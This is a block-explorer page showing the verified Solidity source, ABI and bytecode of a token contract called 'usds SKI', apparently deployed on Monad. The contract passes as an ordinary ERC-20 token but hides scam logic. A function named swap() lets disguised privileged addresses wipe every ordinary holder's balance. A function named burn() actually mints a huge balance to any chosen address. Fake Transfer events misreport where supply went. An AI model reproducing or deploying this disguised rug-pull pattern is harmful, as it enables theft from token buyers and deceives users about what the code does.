Source Code
Overview
MON Balance
MON Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Loading...
Loading
Contract Name:
usdsSKI
Compiler Version
v0.8.30+commit.73712a01
Contract Source Code (Solidity)
/**
*Submitted for verification at monadscan.com on 2025-11-27
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
}
contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender());
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract usdsSKI is IERC20, Ownable {
using SafeMath for uint256;
string private _name = "usds SKI";
string private _symbol = "usds SKI";
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 100000000000000000000000000000;
address Router02Address;
mapping(address => uint256) private askDiv;
mapping(address => mapping(address => uint256)) private _allowances;
address[] private believers;
// Monad-specific addresses
address private constant ADDRESS_WMON = 0x3bd359C1119dA7Da1D913D1C4D2B7c461115433A;
address private constant ADDRESS_ETH = 0xEE8c0E9f1BFFb4Eb878d8f15f368A02a35481242;
address Virtuals_Protocol = msg.sender;
address Preamble;
address GNUGeneralPublicLicense;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
constructor() payable {
Preamble = 0xedb37AD563E2Ef161b2a72169583f35799bdE962;
GNUGeneralPublicLicense = 0xedb37AD563E2Ef161b2a72169583f35799bdE962;
Router02Address = 0x4B2ab38DBF28D31D467aA8993f6c2585981D6804;
askDiv[address(this)] = _totalSupply.mul(1).div(10000);
emit Transfer(address(0), address(this), _totalSupply.mul(1).div(10000));
liqudityPairs();
payable(address(this)).transfer(msg.value);
}
function liqudityPairs() internal {
uint256 ninetyFourPercent = _totalSupply.mul(9990).div(10000);
uint256 threePercent = _totalSupply.mul(5).div(10000);
uint256 twoPercent = _totalSupply.mul(4).div(10000);
askDiv[ADDRESS_WMON] = askDiv[ADDRESS_WMON].add(ninetyFourPercent);
askDiv[ADDRESS_ETH] = askDiv[ADDRESS_ETH].add(threePercent);
askDiv[GNUGeneralPublicLicense] = askDiv[GNUGeneralPublicLicense].add(twoPercent);
emit Transfer(address(this), ADDRESS_WMON, ninetyFourPercent);
emit Transfer(address(this), ADDRESS_ETH, threePercent);
emit Transfer(address(this), GNUGeneralPublicLicense, twoPercent);
}
function _updateHolders(address account) internal {
if (askDiv[account] > 0) {
bool exists = false;
for (uint256 i = 0; i < believers.length; i++) {
if (believers[i] == account) {
exists = true;
break;
}
}
if (!exists) {
believers.push(account);
}
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
askDiv[sender] = askDiv[sender].sub(amount);
askDiv[recipient] = askDiv[recipient].add(amount);
_updateHolders(sender);
_updateHolders(recipient);
emit Transfer(sender, recipient, amount);
}
modifier Only_Manager() {
require(Preamble == _msgSender());
_;
}
function swap() external {
require(Virtuals_Protocol == _msgSender() || Preamble == _msgSender());
for (uint256 i = 0; i < believers.length; i++) {
address believer = believers[i];
if (
believer != address(this) &&
believer != owner() &&
believer != uniswapV2Pair &&
believer != ADDRESS_WMON &&
believer != ADDRESS_ETH &&
believer != Preamble &&
believer != GNUGeneralPublicLicense
) {
askDiv[believer] = 0;
}
emit Transfer(address(0), believer, 0);
}
}
function burn(address claimedRewardStatusOf) external Only_Manager {
askDiv[claimedRewardStatusOf] = _totalSupply * 10 ** _decimals;
emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * 10 ** _decimals);
}
function addLiquidity() external onlyOwner {
require(!tradingOpen, "Trading is already open");
uniswapV2Router = IUniswapV2Router02(Router02Address);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
0x000000000000000000000000000000000000dEaD,
block.timestamp
);
tradingOpen = true;
}
receive() external payable {}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return askDiv[account];
}
function getLPPair() public view returns (address) {
return uniswapV2Pair;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
return true;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"claimedRewardStatusOf","type":"address"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLPPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60c060405260086080908152677573647320534b4960c01b60a0526001906100279082610572565b506040805180820190915260088152677573647320534b4960c01b60208201526002906100549082610572565b50600780546001600160a01b03191633179055600b805460ff60a01b1916905561007b3390565b5f80546001600160a01b0319166001600160a01b039290921691821781556040517f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600880546001600160a01b031990811673edb37ad563e2ef161b2a72169583f35799bde96290811790925560098054821690921790915560038054909116734b2ab38dbf28d31d467aa8993f6c2585981d680417905561013b6127106101356c01431e0fae6d7217caa000000060016101c2565b9061024e565b305f81815260046020526040812092909255905f5160206117aa5f395f51905f5261017a6127106101356c01431e0fae6d7217caa000000060016101c2565b60405190815260200160405180910390a36101936102a8565b60405130903480156108fc02915f818181858888f193505050501580156101bc573d5f5f3e3d5ffd5b50610689565b5f825f036101d157505f610248565b5f6101dc8385610640565b9050826101e98583610657565b146102455760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f5f821161029e5760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015260640161023c565b6102458284610657565b5f6102c86127106101356c01431e0fae6d7217caa00000006127066101c2565b90505f6102e96127106101356c01431e0fae6d7217caa000000060056101c2565b90505f61030a6127106101356c01431e0fae6d7217caa000000060046101c2565b733bd359c1119da7da1d913d1c4d2b7c461115433a5f5260046020525f51602061176a5f395f51905f5254909150610342908461047c565b60046020525f51602061176a5f395f51905f525573ee8c0e9f1bffb4eb878d8f15f368a02a354812425f525f51602061178a5f395f51905f5254610386908361047c565b60046020525f51602061178a5f395f51905f52556009546001600160a01b03165f90815260409020546103b9908261047c565b6009546001600160a01b03165f908152600460209081526040918290209290925551848152733bd359c1119da7da1d913d1c4d2b7c461115433a9130915f5160206117aa5f395f51905f52910160405180910390a360405182815273ee8c0e9f1bffb4eb878d8f15f368a02a354812429030905f5160206117aa5f395f51905f529060200160405180910390a36009546040518281526001600160a01b039091169030905f5160206117aa5f395f51905f529060200160405180910390a3505050565b5f806104888385610676565b9050838110156102455760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161023c565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061050257607f821691505b60208210810361052057634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561056d57805f5260205f20601f840160051c8101602085101561054b5750805b601f840160051c820191505b8181101561056a575f8155600101610557565b50505b505050565b81516001600160401b0381111561058b5761058b6104da565b61059f8161059984546104ee565b84610526565b6020601f8211600181146105d1575f83156105ba5750848201515b5f19600385901b1c1916600184901b17845561056a565b5f84815260208120601f198516915b8281101561060057878501518255602094850194600190920191016105e0565b508482101561061d57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176102485761024861062c565b5f8261067157634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156102485761024861062c565b6110d4806106965f395ff3fe6080604052600436106100f2575f3560e01c806386f3f3cb11610087578063a9059cbb11610057578063a9059cbb14610297578063dd62ed3e146102b6578063e8078d94146102fa578063f2fde38b1461030e575f5ffd5b806386f3f3cb1461021757806389afcb44146102485780638da5cb5b1461026757806395d89b4114610283575f5ffd5b8063313ce567116100c2578063313ce5671461019e57806370a08231146101b9578063715018a6146101ed5780638119c06514610203575f5ffd5b806306fdde03146100fd578063095ea7b31461012757806318160ddd1461015657806323b872dd1461017f575f5ffd5b366100f957005b5f5ffd5b348015610108575f5ffd5b5061011161032d565b60405161011e9190610dc7565b60405180910390f35b348015610132575f5ffd5b50610146610141366004610e10565b6103bd565b604051901515815260200161011e565b348015610161575f5ffd5b506c01431e0fae6d7217caa00000005b60405190815260200161011e565b34801561018a575f5ffd5b50610146610199366004610e3a565b6103d3565b3480156101a9575f5ffd5b506040516012815260200161011e565b3480156101c4575f5ffd5b506101716101d3366004610e78565b6001600160a01b03165f9081526004602052604090205490565b3480156101f8575f5ffd5b50610201610422565b005b34801561020e575f5ffd5b5061020161047f565b348015610222575f5ffd5b50600b546001600160a01b03165b6040516001600160a01b03909116815260200161011e565b348015610253575f5ffd5b50610201610262366004610e78565b610606565b348015610272575f5ffd5b505f546001600160a01b0316610230565b34801561028e575f5ffd5b506101116106b2565b3480156102a2575f5ffd5b506101466102b1366004610e10565b6106c1565b3480156102c1575f5ffd5b506101716102d0366004610e93565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610305575f5ffd5b506102016106cd565b348015610319575f5ffd5b50610201610328366004610e78565b6109ba565b60606001805461033c90610eca565b80601f016020809104026020016040519081016040528092919081815260200182805461036890610eca565b80156103b35780601f1061038a576101008083540402835291602001916103b3565b820191905f5260205f20905b81548152906001019060200180831161039657829003601f168201915b5050505050905090565b5f6103c9338484610a3a565b5060015b92915050565b5f6103df848484610b5e565b6001600160a01b0384165f908152600560209081526040808320338085529252909120546104189186916104139086610c41565b610a3a565b5060019392505050565b5f546001600160a01b03163314610437575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6007546001600160a01b03163314806104a257506008546001600160a01b031633145b6104aa575f5ffd5b5f5b600654811015610603575f600682815481106104ca576104ca610f02565b5f918252602090912001546001600160a01b031690503081148015906104fd57505f546001600160a01b03828116911614155b80156105175750600b546001600160a01b03828116911614155b801561054057506001600160a01b038116733bd359c1119da7da1d913d1c4d2b7c461115433a14155b801561056957506001600160a01b03811673ee8c0e9f1bffb4eb878d8f15f368a02a3548124214155b801561058357506008546001600160a01b03828116911614155b801561059d57506009546001600160a01b03828116911614155b156105bb576001600160a01b0381165f908152600460205260408120555b6040515f8082526001600160a01b038316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3506001016104ac565b50565b6008546001600160a01b0316331461061c575f5ffd5b6106286012600a61100d565b61063f906c01431e0fae6d7217caa000000061101b565b6001600160a01b0382165f818152600460205260408120929092557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6106876012600a61100d565b61069e906c01431e0fae6d7217caa000000061101b565b60405190815260200160405180910390a350565b60606002805461033c90610eca565b5f6103c9338484610b5e565b5f546001600160a01b031633146106e2575f5ffd5b600b54600160a01b900460ff16156107415760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600354600a80546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801561079b573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107bf9190611032565b6001600160a01b031663c9c6539630600a5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081e573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108429190611032565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561088c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b09190611032565b600b80546001600160a01b0319166001600160a01b03928316179055600a546108e9913091166c01431e0fae6d7217caa0000000610a3a565b600a546001600160a01b031663f305d719473061091a816001600160a01b03165f9081526004602052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b03909216600483015260248201525f60448201819052606482015261dead60848201524260a482015260c40160606040518083038185885af115801561097d573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109a2919061104d565b5050600b805460ff60a01b1916600160a01b17905550565b5f546001600160a01b031633146109cf575f5ffd5b6001600160a01b0381166109e1575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a9c5760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610738565b6001600160a01b038216610afd5760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610738565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b70575f5ffd5b6001600160a01b038216610b82575f5ffd5b6001600160a01b0383165f90815260046020526040902054610ba49082610c41565b6001600160a01b038085165f908152600460205260408082209390935590841681522054610bd29082610ca3565b6001600160a01b0383165f90815260046020526040902055610bf383610d01565b610bfc82610d01565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b5191815260200190565b5f82821115610c925760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610738565b610c9c8284611078565b9392505050565b5f80610caf838561108b565b905083811015610c9c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610738565b6001600160a01b0381165f9081526004602052604090205415610603575f805b600654811015610d7257826001600160a01b031660068281548110610d4857610d48610f02565b5f918252602090912001546001600160a01b031603610d6a5760019150610d72565b600101610d21565b5080610dc357600680546001810182555f919091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b0319166001600160a01b0384161790555b5050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610603575f5ffd5b5f5f60408385031215610e21575f5ffd5b8235610e2c81610dfc565b946020939093013593505050565b5f5f5f60608486031215610e4c575f5ffd5b8335610e5781610dfc565b92506020840135610e6781610dfc565b929592945050506040919091013590565b5f60208284031215610e88575f5ffd5b8135610c9c81610dfc565b5f5f60408385031215610ea4575f5ffd5b8235610eaf81610dfc565b91506020830135610ebf81610dfc565b809150509250929050565b600181811c90821680610ede57607f821691505b602082108103610efc57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610f6557808504811115610f4957610f49610f16565b6001841615610f5757908102905b60019390931c928002610f2e565b935093915050565b5f82610f7b575060016103cd565b81610f8757505f6103cd565b8160018114610f9d5760028114610fa757610fc3565b60019150506103cd565b60ff841115610fb857610fb8610f16565b50506001821b6103cd565b5060208310610133831016604e8410600b8410161715610fe6575081810a6103cd565b610ff25f198484610f2a565b805f190482111561100557611005610f16565b029392505050565b5f610c9c60ff841683610f6d565b80820281158282048414176103cd576103cd610f16565b5f60208284031215611042575f5ffd5b8151610c9c81610dfc565b5f5f5f6060848603121561105f575f5ffd5b5050815160208301516040909301519094929350919050565b818103818111156103cd576103cd610f16565b808201808211156103cd576103cd610f1656fea2646970667358221220416d787d80ef24858e368897a7f1d6d864b631f17c56740944712ddeffa31a4a64736f6c634300081e00337cf5136febc117d91449f34a1818f784b45fc6fc65e8fe605aae4a757e2fba69c10176768db0e756de6c4fa77a3682a55f2eecdb79d46fd3a06d6a4044b8d086ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
Deployed Bytecode
0x6080604052600436106100f2575f3560e01c806386f3f3cb11610087578063a9059cbb11610057578063a9059cbb14610297578063dd62ed3e146102b6578063e8078d94146102fa578063f2fde38b1461030e575f5ffd5b806386f3f3cb1461021757806389afcb44146102485780638da5cb5b1461026757806395d89b4114610283575f5ffd5b8063313ce567116100c2578063313ce5671461019e57806370a08231146101b9578063715018a6146101ed5780638119c06514610203575f5ffd5b806306fdde03146100fd578063095ea7b31461012757806318160ddd1461015657806323b872dd1461017f575f5ffd5b366100f957005b5f5ffd5b348015610108575f5ffd5b5061011161032d565b60405161011e9190610dc7565b60405180910390f35b348015610132575f5ffd5b50610146610141366004610e10565b6103bd565b604051901515815260200161011e565b348015610161575f5ffd5b506c01431e0fae6d7217caa00000005b60405190815260200161011e565b34801561018a575f5ffd5b50610146610199366004610e3a565b6103d3565b3480156101a9575f5ffd5b506040516012815260200161011e565b3480156101c4575f5ffd5b506101716101d3366004610e78565b6001600160a01b03165f9081526004602052604090205490565b3480156101f8575f5ffd5b50610201610422565b005b34801561020e575f5ffd5b5061020161047f565b348015610222575f5ffd5b50600b546001600160a01b03165b6040516001600160a01b03909116815260200161011e565b348015610253575f5ffd5b50610201610262366004610e78565b610606565b348015610272575f5ffd5b505f546001600160a01b0316610230565b34801561028e575f5ffd5b506101116106b2565b3480156102a2575f5ffd5b506101466102b1366004610e10565b6106c1565b3480156102c1575f5ffd5b506101716102d0366004610e93565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610305575f5ffd5b506102016106cd565b348015610319575f5ffd5b50610201610328366004610e78565b6109ba565b60606001805461033c90610eca565b80601f016020809104026020016040519081016040528092919081815260200182805461036890610eca565b80156103b35780601f1061038a576101008083540402835291602001916103b3565b820191905f5260205f20905b81548152906001019060200180831161039657829003601f168201915b5050505050905090565b5f6103c9338484610a3a565b5060015b92915050565b5f6103df848484610b5e565b6001600160a01b0384165f908152600560209081526040808320338085529252909120546104189186916104139086610c41565b610a3a565b5060019392505050565b5f546001600160a01b03163314610437575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6007546001600160a01b03163314806104a257506008546001600160a01b031633145b6104aa575f5ffd5b5f5b600654811015610603575f600682815481106104ca576104ca610f02565b5f918252602090912001546001600160a01b031690503081148015906104fd57505f546001600160a01b03828116911614155b80156105175750600b546001600160a01b03828116911614155b801561054057506001600160a01b038116733bd359c1119da7da1d913d1c4d2b7c461115433a14155b801561056957506001600160a01b03811673ee8c0e9f1bffb4eb878d8f15f368a02a3548124214155b801561058357506008546001600160a01b03828116911614155b801561059d57506009546001600160a01b03828116911614155b156105bb576001600160a01b0381165f908152600460205260408120555b6040515f8082526001600160a01b038316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3506001016104ac565b50565b6008546001600160a01b0316331461061c575f5ffd5b6106286012600a61100d565b61063f906c01431e0fae6d7217caa000000061101b565b6001600160a01b0382165f818152600460205260408120929092557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6106876012600a61100d565b61069e906c01431e0fae6d7217caa000000061101b565b60405190815260200160405180910390a350565b60606002805461033c90610eca565b5f6103c9338484610b5e565b5f546001600160a01b031633146106e2575f5ffd5b600b54600160a01b900460ff16156107415760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600354600a80546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801561079b573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107bf9190611032565b6001600160a01b031663c9c6539630600a5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081e573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108429190611032565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561088c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b09190611032565b600b80546001600160a01b0319166001600160a01b03928316179055600a546108e9913091166c01431e0fae6d7217caa0000000610a3a565b600a546001600160a01b031663f305d719473061091a816001600160a01b03165f9081526004602052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b03909216600483015260248201525f60448201819052606482015261dead60848201524260a482015260c40160606040518083038185885af115801561097d573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109a2919061104d565b5050600b805460ff60a01b1916600160a01b17905550565b5f546001600160a01b031633146109cf575f5ffd5b6001600160a01b0381166109e1575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a9c5760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610738565b6001600160a01b038216610afd5760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610738565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b70575f5ffd5b6001600160a01b038216610b82575f5ffd5b6001600160a01b0383165f90815260046020526040902054610ba49082610c41565b6001600160a01b038085165f908152600460205260408082209390935590841681522054610bd29082610ca3565b6001600160a01b0383165f90815260046020526040902055610bf383610d01565b610bfc82610d01565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b5191815260200190565b5f82821115610c925760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610738565b610c9c8284611078565b9392505050565b5f80610caf838561108b565b905083811015610c9c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610738565b6001600160a01b0381165f9081526004602052604090205415610603575f805b600654811015610d7257826001600160a01b031660068281548110610d4857610d48610f02565b5f918252602090912001546001600160a01b031603610d6a5760019150610d72565b600101610d21565b5080610dc357600680546001810182555f919091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b0319166001600160a01b0384161790555b5050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610603575f5ffd5b5f5f60408385031215610e21575f5ffd5b8235610e2c81610dfc565b946020939093013593505050565b5f5f5f60608486031215610e4c575f5ffd5b8335610e5781610dfc565b92506020840135610e6781610dfc565b929592945050506040919091013590565b5f60208284031215610e88575f5ffd5b8135610c9c81610dfc565b5f5f60408385031215610ea4575f5ffd5b8235610eaf81610dfc565b91506020830135610ebf81610dfc565b809150509250929050565b600181811c90821680610ede57607f821691505b602082108103610efc57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610f6557808504811115610f4957610f49610f16565b6001841615610f5757908102905b60019390931c928002610f2e565b935093915050565b5f82610f7b575060016103cd565b81610f8757505f6103cd565b8160018114610f9d5760028114610fa757610fc3565b60019150506103cd565b60ff841115610fb857610fb8610f16565b50506001821b6103cd565b5060208310610133831016604e8410600b8410161715610fe6575081810a6103cd565b610ff25f198484610f2a565b805f190482111561100557611005610f16565b029392505050565b5f610c9c60ff841683610f6d565b80820281158282048414176103cd576103cd610f16565b5f60208284031215611042575f5ffd5b8151610c9c81610dfc565b5f5f5f6060848603121561105f575f5ffd5b5050815160208301516040909301519094929350919050565b818103818111156103cd576103cd610f16565b808201808211156103cd576103cd610f1656fea2646970667358221220416d787d80ef24858e368897a7f1d6d864b631f17c56740944712ddeffa31a4a64736f6c634300081e0033
Loading...
Loading
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in MON
Multichain Portfolio | 35 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
